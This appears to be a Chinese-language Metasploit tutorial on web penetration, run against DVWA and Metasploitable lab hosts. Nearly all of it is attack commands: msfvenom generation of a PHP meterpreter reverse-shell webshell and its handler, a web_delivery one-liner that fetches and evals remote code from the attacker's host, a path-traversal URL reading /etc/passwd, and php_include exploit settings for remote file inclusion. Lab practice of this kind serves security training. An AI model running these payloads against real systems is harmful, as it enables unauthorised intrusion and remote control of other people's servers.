MSF之Web渗透

WebShell

root@kali:~# msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.80.163 LPORT=3333 -f raw -o a.php  生成a.php


msf > use exploit/multi/handler

msf exploit(handler) > set payload php/meterpreter/reverse_tcp

msf exploit(handler) > set lhost 192.168.80.163

msf exploit(handler) > set lport 3333

msf exploit(handler) > exploit

通过sql注入写权限、上传漏洞等,将a.php上传到目标主机的web目录下;

通过浏览器访问a.php。http://192.168.80.33/a.php;

MSF会获得目标主机meterpreter类型的Shell。


sql注入

sqlmap的--os-pwn参数,可以获得目标的meterpreter类型的shell。


exploit/multi/script/web_delivery模块,配合命令执行漏洞使用

msf exploit(handler) > use exploit/multi/script/web_delivery

msf exploit(web_delivery) > set payload php/meterpreter/reverse_tcp

msf exploit(web_delivery) > set lhost 192.168.80.163

msf exploit(web_delivery) > set uripath /

msf exploit(web_delivery) > set srvport 80

msf exploit(web_delivery) > set target 1

在存在命令执行漏洞的网站上,执行下面的命令,MSF会获得目标主机的Shell。

php -d allow_url_fopen=true -r "eval(file_get_contents('http://192.168.80.167/'));"


文件包含漏洞---exploit/unix/webapp/php_include

环境准备:

dvwa的low级别代码默认存在本地文件包含漏洞;但是不存在远程文件包含漏洞,我们需要自己设置。

http://192.168.80.135/dvwa/vulnerabilities/fi/?page=../../../../../etc/passwd

从phpinfo中获取到如下信息。

本地配置文件路径

在metasploitable上编辑/etc/php5/cgi/php.ini文件,将allow_url_fopen和allow_url_include都设置成On,然后重启Apache服务。

sudo /etc/init.d/apache2 restart


漏洞利用过程:

msf > use exploit/unix/webapp/php_include

msf exploit(php_include) > set rhost 192.168.80.135

msf exploit(php_include) > set path /dvwa/vulnerabilities/fi

msf exploit(php_include) > set phpuri /?page=XXpathXX

msf exploit(php_include) > set headers "Cookie: security=low; PHPSESSID=69fb8940243aa75ba98a8e6698139671"

msf exploit(php_include) > set payload php/meterpreter/reverse_tcp

msf exploit(php_include) > set lhost 192.168.80.163

MSF之Web渗透_第1张图片
exploit获得shell

你可能感兴趣的:(MSF之Web渗透)